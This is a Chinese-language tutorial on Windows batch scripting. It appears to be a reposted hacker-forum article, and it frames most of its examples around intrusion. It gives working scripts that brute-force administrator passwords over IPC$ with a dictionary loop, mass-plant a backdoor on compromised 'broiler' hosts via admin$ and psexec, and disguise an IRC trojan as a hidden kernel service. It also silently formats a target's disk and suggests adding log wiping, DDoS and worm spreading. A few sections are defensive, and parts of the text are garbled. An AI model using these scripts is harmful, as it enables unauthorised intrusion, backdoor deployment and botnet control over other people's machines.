所謂批處理，就是可以簡(jiǎn)化一些重復(fù)性的任務(wù)，如果你能掌握各種批處理命令，它將給你的工作帶來(lái)很大的幫助。今天小編將給大家分享批處理命令在Windows操作中的典型應(yīng)用，文章較長(zhǎng)，大家一定要有耐心哦！

一、簡(jiǎn)單批處理內(nèi)部命令簡(jiǎn)介

1、echo 命令

打開(kāi)回顯或關(guān)閉請(qǐng)求回顯功能，或顯示消息。如果沒(méi)有任何參數(shù)，echo 命令將顯示當(dāng)前回顯設(shè)置。

語(yǔ)法

echo ［{on|off}］ ［message］

Sample：@echo off / echo hello world

在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)（也稱為管道符號(hào)，一般用》 》》 ^）結(jié)合來(lái)實(shí)現(xiàn)輸入一些命令到特定格式的文件中。這將在以后的例子中體現(xiàn)出來(lái)。

2、@ 命令

表示不顯示@后面的命令，在入侵過(guò)程中（例如使用批處理來(lái)格式化敵人的硬盤(pán)）自然不能讓對(duì)方看到你使用的命令啦。

Sample：@echo off

@echo Now initializing the program，please wait a minite.。。

@format X： /q/u/autoset （format 這個(gè)命令是不可以使用/y這個(gè)參數(shù)的，可喜的是微軟留了個(gè)autoset這個(gè)參數(shù)給我們，效果和/y是一樣的。）

3、goto 命令

指定跳轉(zhuǎn)到標(biāo)簽，找到標(biāo)簽后，程序?qū)⑻幚韽南乱恍虚_(kāi)始的命令。

語(yǔ)法：goto label （label是參數(shù)，指定所要轉(zhuǎn)向的批處理程序中的行。）

Sample：

if {%1}=={} goto noparms

if {%2}=={} goto noparms（如果這里的if、%1、%2你不明白的話，先跳過(guò)去，后面會(huì)有詳細(xì)的解釋。）

@Rem check parameters if null show usage

：noparms

echo Usage： monitor.bat ServerIP PortNumber

goto end

標(biāo)簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個(gè)：用來(lái)表示這個(gè)字母是標(biāo)簽，goto命令就是根據(jù)這個(gè)：來(lái)尋找下一步跳到到那里。最好有一些說(shuō)明這樣你別人看起來(lái)才會(huì)理解你的意圖啊。

4、Rem 命令

注釋命令，在C語(yǔ)言中相當(dāng)與/*--------*/，它并不會(huì)被執(zhí)行，只是起一個(gè)注釋的作用，便于別人閱讀和你自己日后修改。

Rem Message

Sample：@Rem Here is the descr1ption.

5、Pause 命令

運(yùn)行 Pause 命令時(shí)，將顯示下面的消息：

Press any key to continue 。 。 。

Sample：

@echo off

：begin

copy a：*.* d：back

echo Please put a new disk into driver A

pause

goto begin

在這個(gè)例子中，驅(qū)動(dòng)器 A 中磁盤(pán)上的所有文件均復(fù)制到d:back中。顯示的注釋提示您將另一張磁盤(pán)放入驅(qū)動(dòng)器 A 時(shí)，pause 命令會(huì)使程序掛起，以便您更換磁盤(pán)，然后按我餳 絳 懟？

6、Call 命令

從一個(gè)批處理程序調(diào)用另一個(gè)批處理程序，并且不終止父批處理程序。call 命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用 Call，它將不會(huì)在命令行起作用。

語(yǔ)法

call ［Drive：］［Path］ FileName ［BatchParameters］ ［：label ［arguments］

參數(shù)

［Drive：}［Path］ FileName

指定要調(diào)用的批處理程序的位置和名稱。filename 參數(shù)必須具有 .bat 或 .cmd 擴(kuò)展名。

7、start 命令

調(diào)用外部程序，所有的DOS命令和命令行程序都可以由start命令來(lái)調(diào)用。

入侵常用參數(shù)：

MIN 開(kāi)始時(shí)窗口最小化

SEPARATE 在分開(kāi)的空間內(nèi)開(kāi)始 16 位 Windows 程序

HIGH 在 HIGH 優(yōu)先級(jí)類別開(kāi)始應(yīng)用程序

REALTIME 在 REALTIME 優(yōu)先級(jí)類別開(kāi)始應(yīng)用程序

WAIT 啟動(dòng)應(yīng)用程序并等候它結(jié)束

parameters 這些為傳送到命令/程序的參數(shù)

執(zhí)行的應(yīng)用程序是 32-位 GUI 應(yīng)用程序時(shí)，CMD.EXE 不等應(yīng)用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行，該新行為則不會(huì)發(fā)生。

8、choice 命令

choice 使用此命令可以讓用戶輸入一個(gè)字符，從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c：參數(shù)，c：后應(yīng)寫(xiě)提示可輸入的字符，之間無(wú)空格。它的返回碼為1234……

如： choice /c:dme defrag，mem，end

將顯示

defrag，mem，end［D，M，E］？

Sample：

Sample.bat的內(nèi)容如下：

@echo off

choice /c:dme defrag，mem，end

if errorlevel 3 goto defrag （應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼）

if errorlevel 2 goto mem

if errotlevel 1 goto end

：defrag

c:dosdefrag

goto end

：mem

mem

goto end

：end

echo good bye

此文件運(yùn)行后，將顯示 defrag，mem，end［D，M，E］？ 用戶可選擇d m e ，然后if語(yǔ)句將作出判斷，d表示執(zhí)行標(biāo)號(hào)為defrag的程序段，m表示執(zhí)行標(biāo)號(hào)為mem的程序段，e表示執(zhí)行標(biāo)號(hào)為end的程序段，每個(gè)程序段最后都 以goto end將程序跳到end標(biāo)號(hào)處，然后程序?qū)@示good bye，文件結(jié)束。

9、If 命令

if 表示將判斷是否符合規(guī)定的條件，從而決定執(zhí)行不同的命令。 有三種格式：

（1）if “參數(shù)” == “字符串” 　待執(zhí)行的命令

參數(shù)如果等于指定的字符串，則條件成立，運(yùn)行命令，否則運(yùn)行下一句。（注意是兩個(gè)等號(hào)）

如if “%1”==“a” format a：

if {%1}=={} goto noparms

if {%2}=={} goto noparms

（2）if exist 文件名　 待執(zhí)行的命令

如果有指定的文件，則條件成立，運(yùn)行命令，否則運(yùn)行下一句。

如if exist config.sys edit config.sys

（3）if errorlevel / if not errorlevel 數(shù)字，待執(zhí)行的命令。

如果返回碼等于指定的數(shù)字，則條件成立，運(yùn)行命令，否則運(yùn)行下一句。

如if errorlevel 2 goto x2

DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給DOS，稱為錯(cuò)誤碼errorlevel或稱返回碼，常見(jiàn)的返回碼為0、1。

10、for 命令

for 命令是一個(gè)比較復(fù)雜的命令，主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。

在批處理文件中使用 FOR 命令時(shí)，指定變量請(qǐng)使用 %%variable

for {%variable|%%variable} in （set） do command ［ CommandLineOptions］

%variable 指定一個(gè)單一字母可替換的參數(shù)。

（set） 指定一個(gè)或一組文件。可以使用通配符。

command 指定對(duì)每個(gè)文件執(zhí)行的命令。

command-parameters 為特定命令指定參數(shù)或命令行開(kāi)關(guān)。

在批處理文件中使用 FOR 命令時(shí)，指定變量請(qǐng)使用 %%variable而不要用 %variable。變量名稱是區(qū)分大小寫(xiě)的，所以 %i 不同于 %I

如果命令擴(kuò)展名被啟用，下列額外的 FOR 命令格式會(huì)受到支持：

FOR /D %variable IN （set） DO command ［command-parameters］

如果集中包含通配符，則指定與目錄名匹配，而不與文件名匹配。

FOR /R ［drive：］path］ %variable IN （set） DO command ［command-

檢查以 ［drive：］path 為根的目錄樹(shù)，指向每個(gè)目錄中的FOR 語(yǔ)句。如果在 /R 后沒(méi)有指定目錄，則使用當(dāng)前目錄。如果集僅為一個(gè)單點(diǎn)（。）字符，則枚舉該目錄樹(shù)。

FOR /L %variable IN （start，step，end） DO command ［command-para

該集表示以增量形式從開(kāi)始到結(jié)束的一個(gè)數(shù)字序列。

因此，（1，1，5） 將產(chǎn)生序列 1 2 3 4 5，（5，-1，1） 將產(chǎn)生

序列 （5 4 3 2 1）。

FOR /F ［“options”］ %variable IN （file-set） DO command

FOR /F ［“options”］ %variable IN （“string”） DO command

FOR /F ［“options”］ %variable IN （‘’command‘’） DO command

或者，如果有 usebackq 選項(xiàng)：

FOR /F ［“options”］ %variable IN （file-set） DO command

FOR /F ［“options”］ %variable IN （“string”） DO command

FOR /F ［“options”］ %variable IN （‘’command‘’） DO command

filenameset 為一個(gè)或多個(gè)文件名。繼續(xù)到 filenameset 中的下一個(gè)文件之前，每份文件都已被打開(kāi)、讀取并經(jīng)過(guò)處理。處理包括讀取文件，將其分成一行行的文字，然后將每行解析成零或更多的符號(hào)。然后用已找到的符 號(hào)字符串變量值調(diào)用 For 循環(huán)。以默認(rèn)方式，/F 通過(guò)每個(gè)文件的每一行中分開(kāi)的第一個(gè)空白符號(hào)。跳過(guò)空白行。您可通過(guò)指定可選 “options”參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè)指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為：

eol=c - 指一個(gè)行注釋字符的結(jié)尾（就一個(gè)）

skip=n - 指在文件開(kāi)始時(shí)忽略的行數(shù)。

delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。

tokens=x，y，m-n - 指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代的 for 本身。這會(huì)導(dǎo)致額外變量名稱的格式為一個(gè)范圍。通過(guò) nth 符號(hào)指定 m符號(hào)字符串中的最后一個(gè)字符星號(hào)，那么額外的變量將在最后一個(gè)符號(hào)解析之分配并接受行的保留文本。

usebackq - 指定新語(yǔ)法已在下類情況中使用：在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且引號(hào)字符為文字字符串命令并允許在 fi中使用雙引號(hào)擴(kuò)起文件名稱。

sample1：

FOR /F “eol=; tokens=2，3* delims=， ” %i in （myfile.txt） do command

會(huì)分析 myfile.txt 中的每一行，忽略以分號(hào)打頭的那些行，將每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程序體；用逗號(hào)和/或空格定界符號(hào)。請(qǐng)注意，這個(gè) for 程序體的語(yǔ)句引用 %i 來(lái)取得第二個(gè)符號(hào)，引用 %j 來(lái)取得第三個(gè)符號(hào)，引用 %k來(lái)取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件名，您需要用雙引號(hào)將文件名括起來(lái)。為了用這種方式來(lái)使用雙引號(hào)，您還需要使用 usebackq 選項(xiàng)，否則，雙引號(hào)會(huì)被理解成是用作定義某個(gè)要分析的字符串的。

%i 專門(mén)在 for 語(yǔ)句中得到說(shuō)明，%j 和 %k 是通過(guò)tokens= 選項(xiàng)專門(mén)得到說(shuō)明的。您可以通過(guò) tokens= 一行指定最多 26 個(gè)符號(hào)，只要不試圖說(shuō)明一個(gè)高于字母 ‘’z‘’ 或‘’Z‘’ 的變量。請(qǐng)記住，F(xiàn)OR 變量是單一字母、分大小寫(xiě)和全局的；同時(shí)不能有 52 個(gè)以上都在使用中。

您還可以在相鄰字符串上使用 FOR /F 分析邏輯；方法是，用單引號(hào)將括號(hào)之間的 filenameset 括起來(lái)。這樣，該字符串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。

最后，您可以用 FOR /F 命令來(lái)分析命令的輸出。方法是，將括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì)被當(dāng)作命令行，傳遞到一個(gè)子 CMD.EXE，其輸出會(huì)被抓進(jìn)內(nèi)存，并被當(dāng)作文件分析。因此，以下例子：

FOR /F “usebackq delims==” %i IN （`set`） DO @echo %i

會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱。

另外，F(xiàn)OR 變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列選項(xiàng)語(yǔ)法：

~I - 刪除任何引號(hào)（“），擴(kuò)充 %I

%~fI - 將 %I 擴(kuò)充到一個(gè)完全合格的路徑名

%~dI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)

%~pI - 僅將 %I 擴(kuò)充到一個(gè)路徑

%~nI - 僅將 %I 擴(kuò)充到一個(gè)文件名

%~xI - 僅將 %I 擴(kuò)充到一個(gè)文件擴(kuò)展名

%~sI - 擴(kuò)充的路徑只含有短名

%~aI - 將 %I 擴(kuò)充到文件的文件屬性

%~tI - 將 %I 擴(kuò)充到文件的日期/時(shí)間

%~zI - 將 %I 擴(kuò)充到文件的大小

%~$PATH:I - 查找列在路徑環(huán)境變量的目錄，并將 %I 擴(kuò)充到找到的第一個(gè)完全合格的名稱。如果環(huán)境變量未被定義，或者沒(méi)有找到文件，此組合鍵會(huì)擴(kuò)充空字符串

可以組合修飾符來(lái)得到多重結(jié)果：

%~dpI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑

%~nxI - 僅將 %I 擴(kuò)充到一個(gè)文件名和擴(kuò)展名

%~fsI - 僅將 %I 擴(kuò)充到一個(gè)帶有短名的完整路徑名

%~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄，并將 %I 擴(kuò)充到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。

%~ftzaI - 將 %I 擴(kuò)充到類似輸出線路的 DIR

在以上例子中，%I 和 PATH 可用其他有效數(shù)值代替。%~ 語(yǔ)法用一個(gè)有效的 FOR 變量名終止。選取類似 %I 的大寫(xiě)變量名比較易讀，而且避免與不分大小寫(xiě)的組合鍵混淆。

以上是MS的官方幫助，下面我們舉幾個(gè)例子來(lái)具體說(shuō)明一下For命令在入侵中的用途。

sample2：

利用For命令來(lái)實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo)Win2k主機(jī)的暴力密碼破解。

我們用net use /ipipc$ ”password“ /u：”administrator“來(lái)嘗試這和目標(biāo)主機(jī)進(jìn)行連接，當(dāng)成功時(shí)記下密碼。

最主要的命令是一條：for /f i% in （dict.txt） do net use /ipipc$ ”i%“ /u：”administrator“

用i%來(lái)表示admin的密碼，在dict.txt中這個(gè)取i%的值用net use 命令來(lái)連接。然后將程序運(yùn)行結(jié)果傳遞給find命令－－

for /f i%% in （dict.txt） do net use /ipipc$ ”i%%“ /u：”administrator“|find ”：命令成功完成“》》D:ok.txt ，這樣就ko了。

sample3：

你有沒(méi)有過(guò)手里有大量肉雞等著你去種后門(mén)＋木馬呢？，當(dāng)數(shù)量特別多的時(shí)候，原本很開(kāi)心的一件事都會(huì)變得很郁悶：）。文章開(kāi)頭就談到使用批處理文件，可以簡(jiǎn)化日常或重復(fù)性任務(wù)。那么如何實(shí)現(xiàn)呢？呵呵，看下去你就會(huì)明白了。

主要命令也只有一條：（在批處理文件中使用 FOR 命令時(shí)，指定變量使用 %%variable）

@for /f ”tokens=1，2，3 delims= “ %%i in （victim.txt） do start call door.bat %%i %%j %%k

tokens的用法請(qǐng)參見(jiàn)上面的sample1，在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。

而cultivate.bat無(wú)非就是用net use命令來(lái)建立IPC$連接，并copy木馬＋后門(mén)到victim，然后用返回碼（If errorlever =）來(lái)篩選成功種植后門(mén)的主機(jī)，并echo出來(lái)，或者echo到指定的文件。

delims= 表示vivtim.txt中的內(nèi)容是一空格來(lái)分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應(yīng)該根據(jù)%%i %%j %%k表示的對(duì)象來(lái)排列，一般就是 ip password username。

代碼雛形：

--------- cut here then save as a batchfile（I call it main.bat ）---------

@echo off

@if ”%1“==”“ goto usage

@for /f ”tokens=1，2，3 delims= “ %%i in （victim.txt） do start call IPChack.bat %%i %%j %%k

@goto end

：usage

@echo run this batch in dos modle.or just double-click it.

：end

--------- cut here then save as a batchfile（I call it main.bat ） ---------

--------- cut here then save as a batchfile（I call it door.bat） ---------

@net use /%1ipc$ %3 /u：”%2“

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe/%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 》》ko.txt

@psexec /%1 c:winntsystem32windrv32.exe

@psexec /%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored 》》ko.txt

：failed

@echo Sorry can not connected to the victim.

--------- cut here then save as a batchfile（I call it door.bat） ---------

這只是一個(gè)自動(dòng)種植后門(mén)批處理的雛形，兩個(gè)批處理和后門(mén)程序（Windrv32.exe），PSexec.exe需放在統(tǒng)一目錄下。批處理內(nèi)容

尚可擴(kuò)展，例如：加入清除日志+DDOS的功能，加入定時(shí)添加用戶的功能，更深入一點(diǎn)可以使之具備自動(dòng)傳播功能（蠕蟲(chóng)）。此處不多做敘述，有興趣的朋友可自行研究。

二、如何在批處理文件中使用參數(shù)？

批處理中可以使用參數(shù)，一般從1%到 9%這九個(gè)，當(dāng)有多個(gè)參數(shù)時(shí)需要用shift來(lái)移動(dòng)，這種情況并不多見(jiàn)，我們就不考慮它了。

sample1：fomat.bat

@echo off

if ”%1“==”a“ format a：

：format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

這個(gè)例子用于連續(xù)地格式化幾張軟盤(pán)，所以用的時(shí)候需在dos窗口輸入fomat.bat a，呵呵，好像有點(diǎn)畫(huà)蛇添足了～^_^

sample2：

當(dāng)我們要建立一個(gè)IPC$連接地時(shí)候總要輸入一大串命令，弄不好就打錯(cuò)了，所以我們不如把一些固定命令寫(xiě)入一個(gè)批處理，把肉雞地ip password username 當(dāng)著參數(shù)來(lái)賦給這個(gè)批處理，這樣就不用每次都打命令了。

@echo off

@net use /1%ipc$ ”2%“ /u：”3%“ 注意哦，這里PASSWORD是第二個(gè)參數(shù)。

@if errorlevel 1 echo connection failed

怎么樣，使用參數(shù)還是比較簡(jiǎn)單的吧？你這么帥一定學(xué)會(huì)了^_^.

三、如何使用組合命令（Compound Command）？

1、&

Usage：第一條命令 & 第二條命令 ［& 第三條命令。。。］

用這種方法可以同時(shí)執(zhí)行多條命令，而不管命令是否執(zhí)行成功

Sample：

C：》dir z： & dir c:Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:51 《DIR》 。

2002-05-14 23:51 《DIR》 。。

2002-05-14 23:51 14 sometips.gif

2、&&

Usage：第一條命令 && 第二條命令 ［&& 第三條命令。。。］

用這種方法可以同時(shí)執(zhí)行多條命令，當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令，如果一直沒(méi)有出錯(cuò)則一直執(zhí)行完所有命令；

Sample：

C：》dir z： && dir c:Ex4rch

The system cannot find the path specified.

C：》dir c:Ex4rch && dir z：

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:55 《DIR》 。

2002-05-14 23:55 《DIR》 。。

2002-05-14 23:55 14 sometips.gif

1 File（s） 14 bytes

2 Dir（s） 768，671，744 bytes free

The system cannot find the path specified.

在做備份的時(shí)候可能會(huì)用到這種命令會(huì)比較簡(jiǎn)單，如：

dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup

如果遠(yuǎn)程服務(wù)器上存在backup.mdb文件，就執(zhí)行copy命令，若不存在該文件則不執(zhí)行copy命令。這種用法可以替換IF exist了 ：）

3、||

Usage：第一條命令 || 第二條命令 ［|| 第三條命令。。。］

用這種方法可以同時(shí)執(zhí)行多條命令，當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令，如果沒(méi)有出現(xiàn)正確的命令則一直執(zhí)行完所有命令；

Sample：

C:Ex4rch》dir sometips.gif || del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File（s） 14 bytes

0 Dir（s） 768，696，320 bytes free

組合命令使用的例子：

sample：

@copy trojan.exe /%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 》》victim.txt

四、管道命令的使用

1、| 命令

Usage：第一條命令 | 第二條命令 ［| 第三條命令。。。］

將第一條命令的結(jié)果作為第二條命令的參數(shù)來(lái)使用，記得在unix中這種方式很常見(jiàn)。

sample：

time /t》》D:IP.log

netstat -n -p tcp|find ”：3389“》》D:IP.log

start Explorer

看出來(lái)了么？用于終端服務(wù)允許我們?yōu)橛脩糇远x起始的程序，來(lái)實(shí)現(xiàn)讓用戶運(yùn)行下面這個(gè)bat，以獲得登錄用戶的IP。

2、 》、》》輸出重定向命令

將一條命令或某個(gè)程序輸出結(jié)果的重定向到特定文件中， 》 與 》》的區(qū)別在于，》會(huì)清除調(diào)原有文件中的內(nèi)容后寫(xiě)入指定文件，而》》只會(huì)追加內(nèi)容到指定文件中，而不會(huì)改動(dòng)其中的內(nèi)容。

sample1：

echo hello world》c:hello.txt （stupid example？）

sample2：

時(shí)下DLL木馬盛行，我們知道system32是個(gè)捉迷藏的好地方，許多木馬都削尖了腦袋往那里鉆，DLL馬也不例外，針對(duì)這一點(diǎn)我們可以在安裝好系統(tǒng)和必要的應(yīng)用程序后，對(duì)該目錄下的EXE和DLL文件作一個(gè)記錄：

運(yùn)行CMD--轉(zhuǎn)換目錄到system32--dir *.exe》exeback.txt & dir *.dll》dllback.txt，

這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中，

日后如發(fā)現(xiàn)異常但用傳統(tǒng)的方法查不出問(wèn)題時(shí)，則要考慮是不是系統(tǒng)中已經(jīng)潛入DLL木馬了。

這時(shí)我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中，然后運(yùn)行：

CMD--fc exeback.txt exeback1.txt》diff.txt & fc dllback.txt dllback1.txt》diff.txt.（用FC命令比較前后兩次的DLL和EXE文件，并將結(jié)果輸入到diff.txt中），這樣我們就能 發(fā)現(xiàn)一些多出來(lái)的DLL和EXE文件，然后通過(guò)查看創(chuàng)建時(shí)間、版本、是否經(jīng)過(guò)壓縮等就能夠比較容易地判斷出是不是已經(jīng)被DLL木馬光顧了。沒(méi)有是最好，如 果有的話也不要直接DEL掉，先用regsvr32 /u trojan.dll將后門(mén)DLL文件注銷掉，再把它移到回收站里，若系統(tǒng)沒(méi)有異常反映再將之徹底刪除或者提交給殺毒軟件公司。

3、 《 、》& 、《&

《 從文件中而不是從鍵盤(pán)中讀入命令輸入。

》& 將一個(gè)句柄的輸出寫(xiě)入到另一個(gè)句柄的輸入中。

《& 從一個(gè)句柄讀取輸入并將其寫(xiě)入到另一個(gè)句柄輸出中。

這些并不常用，也就不多做介紹。

五、如何用批處理文件來(lái)操作注冊(cè)表？

在入侵過(guò)程中經(jīng)常回操作注冊(cè)表的特定的鍵值來(lái)實(shí)現(xiàn)一定的目的，例如：為了達(dá)到隱藏后門(mén)、木馬程序而刪除Run下殘余的鍵值。或者創(chuàng)建一個(gè)服務(wù)用以加載后 門(mén)。當(dāng)然我們也會(huì)修改注冊(cè)表來(lái)加固系統(tǒng)或者改變系統(tǒng)的某個(gè)屬性，這些都需要我們對(duì)注冊(cè)表操作有一定的了解。下面我們就先學(xué)習(xí)一下如何使用.REG文件來(lái)操 作注冊(cè)表。（我們可以用批處理來(lái)生成一個(gè)REG文件）

關(guān)于注冊(cè)表的操作，常見(jiàn)的是創(chuàng)建、修改、刪除。

1、創(chuàng)建

創(chuàng)建分為兩種，一種是創(chuàng)建子項(xiàng)（Subkey）

我們創(chuàng)建一個(gè)文件，內(nèi)容如下：

Windows Registry Editor Version 5.00

［HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker］

然后執(zhí)行該腳本，你就已經(jīng)在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下創(chuàng)建了一個(gè)名字為“hacker”的子項(xiàng)。

另一種是創(chuàng)建一個(gè)項(xiàng)目名稱

那這種文件格式就是典型的文件格式，和你從注冊(cè)表中導(dǎo)出的文件格式一致，內(nèi)容如下：

Windows Registry Editor Version 5.00

［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun］

”Invader“=”Ex4rch“

”Door“=C:/WINNT/system32/door.exe

”Autodos“=dword:02

這樣就在［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun］下

新建了：Invader、door、about這三個(gè)項(xiàng)目

Invader的類型是“String Value”

door的類型是“REG SZ Value”

Autodos的類型是“DWORD Value”

2、修改

修改相對(duì)來(lái)說(shuō)比較簡(jiǎn)單，只要把你需要修改的項(xiàng)目導(dǎo)出，然后用記事本進(jìn)行修改，然后導(dǎo)入（regedit /s）即可。

3、刪除

我們首先來(lái)說(shuō)說(shuō)刪除一個(gè)項(xiàng)目名稱，我們創(chuàng)建一個(gè)如下的文件：

Windows Registry Editor Version 5.00

［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun］

”Ex4rch“=-

執(zhí)行該腳本，［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun］下的”Ex4rch“就被刪除了；

我們?cè)倏纯磩h除一個(gè)子項(xiàng)，我們創(chuàng)建一個(gè)如下的腳本：

Windows Registry Editor Version 5.00

［-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun］

執(zhí)行該腳本，［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun］就已經(jīng)被刪除了。

相信看到這里，.reg文件你基本已經(jīng)掌握了。那么現(xiàn)在的目標(biāo)就是用批處理來(lái)創(chuàng)建特定內(nèi)容的.reg文件了，記得我們前面說(shuō)道的利用重定向符號(hào)可以很容易地創(chuàng)建特定類型的文件。

samlpe1：如上面的那個(gè)例子，如想生成如下注冊(cè)表文件

Windows Registry Editor Version 5.00

［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun］

”Invader“=”Ex4rch“

”door“=hex:255

”Autodos“=dword:000000128

只需要這樣：

@echo Windows Registry Editor Version 5.00》》Sample.reg

@echo ［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun］》Sample.reg

@echo ”Invader“=”Ex4rch“》》Sample.reg

@echo ”door“=5》》C:/WINNT/system32/door.exe》》Sample.reg

@echo ”Autodos“=dword:02》》Sample.reg

samlpe2：

我們現(xiàn)在在使用一些比較老的木馬時(shí)，可能會(huì)在注冊(cè)表的 ［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun（Runonce、 Runservices、Runexec）］下生成一個(gè)鍵值用來(lái)實(shí)現(xiàn)木馬的自啟動(dòng)。但是這樣很容易暴露木馬程序的路徑，從而導(dǎo)致木馬被查殺，相對(duì)地若是將 木馬程序注冊(cè)為系統(tǒng)服務(wù)則相對(duì)安全一些。下面以配置好地IRC木馬DSNX為例（名為windrv32.exe）

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo ［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun］ 》》patch.dll

@echo ”windsnx “=- 》》patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM ［刪除DSNXDE在注冊(cè)表中的啟動(dòng)項(xiàng)，用sc.exe將之注冊(cè)為系統(tǒng)關(guān)鍵性服務(wù)的同時(shí)將其屬性設(shè)為隱藏和只讀，并config為自啟動(dòng)］

@REM 這樣不是更安全^_^.

六、精彩實(shí)例放送

1、刪除win2k/xp系統(tǒng)默認(rèn)共享的批處理

--------- cut here then save as .bat or .cmd file ---------

@echo preparing to delete all the default shares.when ready pres any key.

@pause

@echo off

：Rem check parameters if null show usage.

if {%1}=={} goto ：Usage

：Rem code start.

echo.

echo---------

echo.

echo Now deleting all the default shares.

echo.

net share %1$ /delete

net share %2$ /delete

net share %3$ /delete

net share %4$ /delete

net share %5$ /delete

net share %6$ /delete

net share %7$ /delete

net share %8$ /delete

net share %9$ /delete

net stop Server

net start Server

echo.

echo All the shares have been deleteed

echo.

echo ---------

echo.

echo Now modify the registry to change the system default properties.

echo.

echo Now creating the registry file

echo Windows Registry Editor Version 5.00》 c:delshare.reg

echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters］》》 c:delshare.reg

echo ”AutoShareWks“=dword:00000000》》 c:delshare.reg

echo ”AutoShareServer“=dword:00000000》》 c:delshare.reg

echo Nowing using the registry file to chang the system default properties.

regedit /s c:delshare.reg

echo Deleting the temprotarily files.

del c:delshare.reg

goto ：END

：Usage

echo.

echo ---------

echo.

echo ☆ A example for batch file ☆

echo ☆ ［Use batch file to change the sysytem share properties.］ ☆

echo.

echo Author：Ex4rch

echo Mail:[email protected] QQ:1672602

echo.

echo Error：Not enough parameters

echo.

echo ☆ Please enter the share disk you wanna delete ☆

echo.

echo For instance，to delete the default shares：

echo delshare c d e ipc admin print

echo.

echo If the disklable is not as C： D： E： ，Please chang it youself.

echo.

echo example：

echo If locak disklable are C： D： E： X： Y： Z： ，you should chang the command into ：

echo delshare c d e x y z ipc admin print

echo.

echo *** you can delete nine shares once in a useing ***

echo.

echo ---------

goto ：EOF

：END

echo.

echo ---------

echo.

echo OK，delshare.bat has deleted all the share you assigned.

echo.Any questions ，feel free to mail [email protected].

echo

echo.

echo ---------

echo.

：EOF

echo end of the batch file

--------- cut here then save as .bat or .cmd file ---------

2、全面加固系統(tǒng)（給肉雞打補(bǔ)丁）的批處理文件

--------- cut here then save as .bat or .cmd file ---------

@echo Windows Registry Editor Version 5.00 》patch.dll

@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters］ 》》patch.dll

@echo ”AutoShareServer“=dword:00000000 》》patch.dll

@echo ”AutoShareWks“=dword:00000000 》》patch.dll

@REM ［禁止共享］

@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa］ 》》patch.dll

@echo ”restrictanonymous“=dword:00000001 》》patch.dll

@REM ［禁止匿名登錄］

@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters］ 》》patch.dll

@echo ”SMBDeviceEnabled“=dword:00000000 》》patch.dll

@REM ［禁止及文件訪問(wèn)和打印共享］

